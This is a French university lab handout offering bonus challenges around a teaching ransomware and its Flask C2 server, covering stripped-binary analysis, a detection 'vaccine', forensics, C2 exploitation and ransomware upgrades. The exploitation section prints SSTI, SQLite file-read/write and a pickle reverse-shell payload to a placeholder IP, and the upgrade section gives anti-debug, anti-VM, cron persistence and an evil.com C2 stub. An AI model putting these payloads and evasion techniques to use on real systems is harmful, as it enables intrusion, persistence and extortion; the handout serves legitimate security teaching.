



Étape 6 : Challenges Bonus (Avancé)

Niveau : Avancé - Pour les étudiants en avance

Durée estimée : Illimitée (jusqu'à la fin de la journée)

Points bonus : Jusqu'à +2 points sur la note finale



Objectif

Cette étape propose des **challenges avancés** pour approfondir vos compétences en reverse engineering et en sécurité offensive. Choisissez les challenges qui vous intéressent !

⚠ Ces challenges ne sont PAS obligatoires. Ils sont là pour les étudiants rapides qui veulent aller plus loin.



Système de Points Bonus

Challenge	Difficulté	Points
Challenge 1 : Analyse d'un binaire strippé	★ ★ ★	+0.5 pt
Challenge 2 : Créer un vaccin anti-ransomware	★ ★ ★ ★	+1.0 pt
Challenge 3 : Exploit avancé du serveur C2	★ ★ ★ ★ ★	+1.0 pt
Challenge 4 : Améliorer le ransomware	★ ★ ★ ★	+0.5 pt
Challenge 5 : Forensics - Timeline d'attaque	★ ★ ★	+0.5 pt

Maximum de points bonus : +2.0 points (vous pouvez faire plusieurs challenges)



Challenge 1 : Analyse d'un Binaire Strippé

Difficulté : ★ ★ ★ (Moyen)

Objectif : Extraire la clé de chiffrement d'un ransomware dont les symboles ont été supprimés.

Préparation

```
cd Etape6_Bonus/  
mkdir challenge1  
  
# Créer un binaire sans symboles de debug  
cd ../Etape1_AnalyseStatique/  
gcc -O2 -o ransomware_stripped ransomware.c  
strip ransomware_stripped  
cp ransomware_stripped ../Etape6_Bonus/challenge1/
```

```
cd ../Etape6_Bonus/challenge1/
```

Vérification

```
file ransomware_stripped
```

Output attendu :

```
ransomware_stripped: ELF 64-bit LSB executable, x86-64, ... stripped
```

Mission

Sans les symboles de debug, vous devez :

1. Trouver la fonction **main**
2. Identifier la fonction de chiffrement
3. Localiser la clé en mémoire
4. Extraire la clé complète

Outils Autorisés

- **gdb**
- **objdump**
- **readelf**
- **strings**
- **hexdump**
- **strace**
- **ltrace**

Indices

- ▶ Indice 1 : Trouver main (cliquez pour révéler)
- ▶ Indice 2 : Trouver la clé avec strings
- ▶ Indice 3 : Désassembler avec objdump
- ▶ Indice 4 : Utiliser GDB sans symboles

Livrables

- ☐ Fichier **challenge1_report.md** expliquant votre méthodologie
- ☐ Clé extraite et vérifiée
- ☐ Adresse mémoire de la clé
- ☐ Captures d'écran de votre analyse

Challenge 2 : Créer un Vaccin Anti-Ransomware

Difficulté : ★★★★★ (Difficile)

Objectif : Développer un programme qui détecte et bloque le ransomware AVANT qu'il ne chiffre les fichiers.

Concept

Un "vaccin" est un programme qui :

1. Surveille les processus suspects
2. Détecte les comportements de ransomware
3. Bloque l'exécution ou restaure les fichiers

Mission

Créez un script Python `vaccine.py` qui :

1. **Détecte l'exécution du ransomware** (via son nom, ses appels système, etc.)
2. **Bloque le chiffrement** en :
 - Tuant le processus
 - OU en interceptant les appels de chiffrement
 - OU en restaurant les fichiers immédiatement
3. **Alerte l'utilisateur**

Approches Possibles

Approche 1 : Surveillance par IOC (Indicators of Compromise)

```
#!/usr/bin/env python3
import psutil
import os
import signal

# IOCs du ransomware
RANSOMWARE_IOCS = {
    'process_names': ['ransomware'],
    'network_connections': [('localhost', 5000)],
    'file_patterns': ['*.encrypted'],
    'victim_id_pattern': 'VICTIM_'
}

def detect_ransomware():
    """Détection des processus ransomware actifs"""
    for proc in psutil.process_iter(['pid', 'name', 'cmdline']):
        # TODO : Implémenter la détection
        pass

def kill_ransomware(pid):
    """Tue le processus ransomware"""
    # TODO : Implémenter
```

```
pass

def monitor():
    """Boucle de surveillance"""
    # TODO : Implémenter
    pass

if __name__ == '__main__':
    print("[*] Vaccin anti-ransomware démarré")
    monitor()
```

Approche 2 : Surveillance des Fichiers

```
import time
import os
from watchdog.observers import Observer
from watchdog.events import FileSystemEventHandler

class RansomwareDetector(FileSystemEventHandler):
    def on_created(self, event):
        if event.src_path.endswith('.encrypted'):
            print(f"[!] ALERTE : Fichier chiffré détecté : {event.src_path}")
            # TODO : Bloquer le ransomware

    def on_modified(self, event):
        # TODO : Détecter modifications suspectes
        pass
```

Approche 3 : Backup Automatique

```
import shutil
import time

def create_backup(directory):
    """Crée une sauvegarde avant toute modification"""
    backup_dir = f"{directory}_backup_{int(time.time())}"
    shutil.copytree(directory, backup_dir)
    return backup_dir

def restore_from_backup(backup_dir, target_dir):
    """Restaure depuis le backup"""
    # TODO : Implémenter
    pass
```

Tests

Testez votre vaccin :

```
# Terminal 1 : Lancer le vaccin
python3 vaccine.py

# Terminal 2 : Lancer le ransomware
cd ../Etape1_AnalyseStatique/
./ransomware test_files/

# Le vaccin doit bloquer le ransomware !
```

Livrables

- ☐ Script **vaccine.py** fonctionnel
- ☐ Documentation de votre approche
- ☐ Tests prouvant l'efficacité (captures d'écran)
- ☐ Limites de votre solution (faux positifs, contournements possibles)



Challenge 3 : Exploit Avancé du Serveur C2

Difficulté : ★★★★★ (Très difficile)

Objectif : Obtenir un shell sur le serveur C2 via une vulnérabilité avancée.

Mission

Le serveur Flask C2 a des vulnérabilités. Votre objectif :

1. **Obtenir un Remote Code Execution (RCE)**
2. **Exfiltrer la base de données SQLite complète**
3. **Modifier la base de données** (ajouter un faux admin)
4. **Créer un backdoor persistant**

Pistes d'Exploitation

Exploitation 1 : SQL Injection → RCE

SQLite permet l'exécution de fonctions dangereuses :

```
-- Charger une extension malveillante
SELECT load_extension('/tmp/evil.so');

-- Lire des fichiers
SELECT hex(readfile('/etc/passwd'));

-- Écrire des fichiers
SELECT writefile('/tmp/backdoor.py', 'malicious code');
```

Mission : Via SQL Injection, écrivez un backdoor sur le serveur.

Exploitation 2 : Template Injection

Si le serveur Flask utilise des templates Jinja2 sans sanitization :

```
# Payload SSTI (Server-Side Template Injection)
{{ '.__class__.__mro__[1].__subclasses__()[396]('cat /etc/passwd',
shell=True, stdout=-1).communicate() }}
```

Mission : Trouvez un endpoint vulnérable à SSTI.

Exploitation 3 : Désérialisation Pickle

Si le serveur utilise `pickle` pour les sessions :

```
import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('bash -c "bash -i >& /dev/tcp/VOTRE_IP/4444
0>&1"',))

payload = pickle.dumps(Exploit())
```

Mission : Injectez un payload pickle pour obtenir un reverse shell.

Outils

- Burp Suite / OWASP ZAP
- `sqlmap`
- `netcat` pour le reverse shell
- `msfvenom` pour les payloads

Script d'Exploitation

```
#!/usr/bin/env python3
"""
Exploit avancé du serveur C2
"""

import requests
import base64

TARGET = "http://localhost:5000"
```

```
def sql_injection_rce():
    """Exploitation SQLi vers RCE"""
    # TODO : Implémenter
    payload = "' UNION SELECT ..."

def exfiltrate_database():
    """Exfiltre la DB via SQLi"""
    # TODO : Implémenter
    pass

def create_backdoor():
    """Crée un backdoor persistant"""
    # TODO : Implémenter
    pass

if __name__ == '__main__':
    print("[*] Exploitation du serveur C2")
    sql_injection_rce()
    exfiltrate_database()
    create_backdoor()
    print("[+] Serveur compromis !")
```

Livrables

- ☐ Script d'exploitation complet
- ☐ Preuve de RCE (capture d'écran du shell)
- ☐ Base de données exfiltrée
- ☐ Write-up détaillé de l'exploitation
- ☐ Recommandations de correction



Challenge 4 : Améliorer le Ransomware

Difficulté : ★★★★★ (Difficile)

Objectif : Modifier le ransomware pour le rendre plus "professionnel" (tout en restant pédagogique).

Améliorations à Implémenter

1. Chiffrement Fort (AES au lieu de XOR)

```
#include <openssl/aes.h>
#include <openssl/rand.h>

void encrypt_aes(unsigned char* plaintext, size_t len,
                 unsigned char* key, unsigned char* ciphertext) {
    AES_KEY enc_key;
    AES_set_encrypt_key(key, 256, &enc_key);
```

```
// TODO : Implémenter AES-256-CBC  
}
```

2. Génération de Clé Aléatoire

```
void generate_random_key(unsigned char* key, size_t key_len) {  
    FILE* urandom = fopen("/dev/urandom", "rb");  
    fread(key, 1, key_len, urandom);  
    fclose(urandom);  
}
```

3. Chiffrement de la Clé avec RSA

```
#include <openssl/rsa.h>  
  
// Chiffrer la clé AES avec la clé publique RSA de l'attaquant  
void encrypt_key_with_rsa(unsigned char* aes_key,  
                           unsigned char* encrypted_key) {  
    // TODO : Implémenter  
}
```

4. Anti-Debug et Anti-VM

```
int detect_debugger() {  
    // Vérifier si un debugger est attaché  
    if (ptrace(PTRACE_TRACEME, 0, 1, 0) == -1) {  
        return 1; // Debugger détecté  
    }  
    return 0;  
}  
  
int detect_vm() {  
    // Vérifier les artéfacts de VM  
    FILE* f = fopen("/sys/class/dmi/id/product_name", "r");  
    char buffer[256];  
    fgets(buffer, sizeof(buffer), f);  
    fclose(f);  
  
    if (strstr(buffer, "VirtualBox") || strstr(buffer, "VMware")) {  
        return 1; // VM détectée  
    }  
    return 0;  
}
```

5. Persistence

```
void install_persistence() {  
    // Ajouter au démarrage  
    system("cp /tmp/ransomware ~/.config/autostart/");  
  
    // Créer une tâche cron  
    system("(crontab -l ; echo '@reboot /tmp/ransomware') | crontab -");  
}
```

6. Exfiltration via HTTPS (au lieu de HTTP)

```
#define C2_SERVER "https://evil.com" // HTTPS au lieu de HTTP  
  
// Utiliser curl avec SSL  
void send_to_c2_secure(const char* endpoint, const char* data) {  
    // TODO : Implémenter avec curl SSL  
}
```

Livrables

- ☐ Code source modifié (`ransomware_v2.c`)
- ☐ Documentation des améliorations
- ☐ Tests de fonctionnement
- ☐ Analyse comparative : v1 vs v2



Challenge 5 : Forensics - Timeline de l'Attaque

Difficulté : ★★☆☆ (Moyen)

Objectif : Reconstituer la timeline complète d'une attaque ransomware via l'analyse forensique.

Scénario

Le ransomware a été exécuté sur une machine. Vous devez analyser les artéfacts laissés pour reconstituer :

1. **Heure d'infection**
2. **Fichiers modifiés**
3. **Connexions réseau**
4. **Processus exécutés**
5. **Clés de registre modifiées** (sous Linux : fichiers de config)

Préparation

```
cd Etape6_Bonus/  
mkdir challenge5  
cd challenge5  
  
# Exécuter le ransomware pour créer des artéfacts  
cp ../../Etape1_AnalyseStatique/ransomware .  
mkdir test_files  
echo "Test data" > test_files/file1.txt  
echo "More data" > test_files/file2.txt  
  
# Lancer le ransomware  
./ransomware test_files/  
  
# Maintenant, analysez !
```

Analyse Forensique

1. Analyse des Timestamps

```
# Timestamps des fichiers  
stat test_files/*.encrypted  
  
# Logs système  
journalctl --since "1 hour ago" | grep -i ransom  
  
# Historique des commandes  
cat ~/.bash_history
```

2. Analyse Réseau

```
# Connexions récentes  
sudo netstat -antp | grep 5000  
  
# Historique DNS (si disponible)  
sudo cat /var/log/syslog | grep -i dns
```

3. Analyse des Processus

```
# Processus actifs au moment de l'infection  
ps aux --forest  
  
# Analyse de la mémoire (si vous avez un dump)  
strings /proc/<PID>/mem | grep -i key
```

4. Analyse des Fichiers

```
# Fichiers créés récemment
find /tmp -type f -mmin -60

# Fichiers modifiés
find ~/Documents -type f -mmin -60
```

5. Analyse des Logs

```
# Logs d'authentification
sudo cat /var/log/auth.log

# Logs système
sudo cat /var/log/syslog | grep -A 5 -B 5 ransomware
```

Timeline à Reconstituer

Créez un fichier `timeline.md` :

```
# Timeline de l'Attaque Ransomware

## 14:32:15 - Infection Initiale
- Exécution de `./ransomware`
- PID : 1234
- User : student

## 14:32:16 - Génération victim_id
- victim_id : VICTIM_debian_1734532336
- hostname : debian

## 14:32:17 - Connexion C2
- Tentative de connexion à http://localhost:5000/api/register
- Échec : Connection refused

## 14:32:18 - Début du Chiffrement
- test_files/file1.txt → test_files/file1.txt.encrypted
- test_files/file2.txt → test_files/file2.txt.encrypted

## 14:32:19 - Fin de l'Attaque
- Création de README_RANSOM.txt
- Total : 2 fichiers chiffrés
```

Outils Forensiques

```
# Installer des outils
sudo apt-get install sleuthkit autopsy foremost

# Analyse de disque
sudo fls -r /dev/sda1

# Récupération de fichiers supprimés
sudo foremost -i /dev/sda1 -o recovered/
```

Livrables

- ☐ Fichier `timeline.md` complet avec timestamps précis
- ☐ Artéfacts collectés (logs, fichiers, captures réseau)
- ☐ Rapport d'analyse forensique
- ☐ IOCs (Indicators of Compromise) identifiés



Critères de Notation Bonus

Pour obtenir les points bonus, vos livrables doivent être :

- ✓ **Fonctionnels** : Le code/script doit marcher
- ✓ **Documentés** : Explication claire de votre démarche
- ✓ **Professionnels** : Code propre, commenté
- ✓ **Créatifs** : Solutions originales encouragées
- ✓ **Complets** : Tous les objectifs atteints



Super Challenge : Combinez Tout !

Objectif ultime : Créez un scénario d'attaque ET de défense complet :

1. Améliorez le ransomware (Challenge 4)
2. Créez un vaccin qui le détecte (Challenge 2)
3. Compromettez le serveur C2 (Challenge 3)
4. Faites l'analyse forensique complète (Challenge 5)
5. Analysez tout ça avec un binaire strippé (Challenge 1)



Conseils

1. **Commencez par le plus facile** (Challenge 5 ou 1)
2. **Documentez au fur et à mesure**
3. **Testez dans un environnement isolé**
4. **Demandez de l'aide si besoin**
5. **Le bonus n'est pas obligatoire** - ne vous épuisez pas !



Remise des Bonus

Ajoutez vos challenges dans votre rapport final :

```
Rapport_Final_[NOM]_[PRENOM]/  
├─ Rapport_Final.md  
├─ bonus/  
│   ├── challenge1/  
│   ├── challenge2/  
│   ├── challenge3/  
│   ├── challenge4/  
│   └─ challenge5/  
└─ scripts/
```

Bon courage pour les challenges ! 🚀🏆

Ces exercices avancés vous prépareront à de vraies missions en cybersécurité !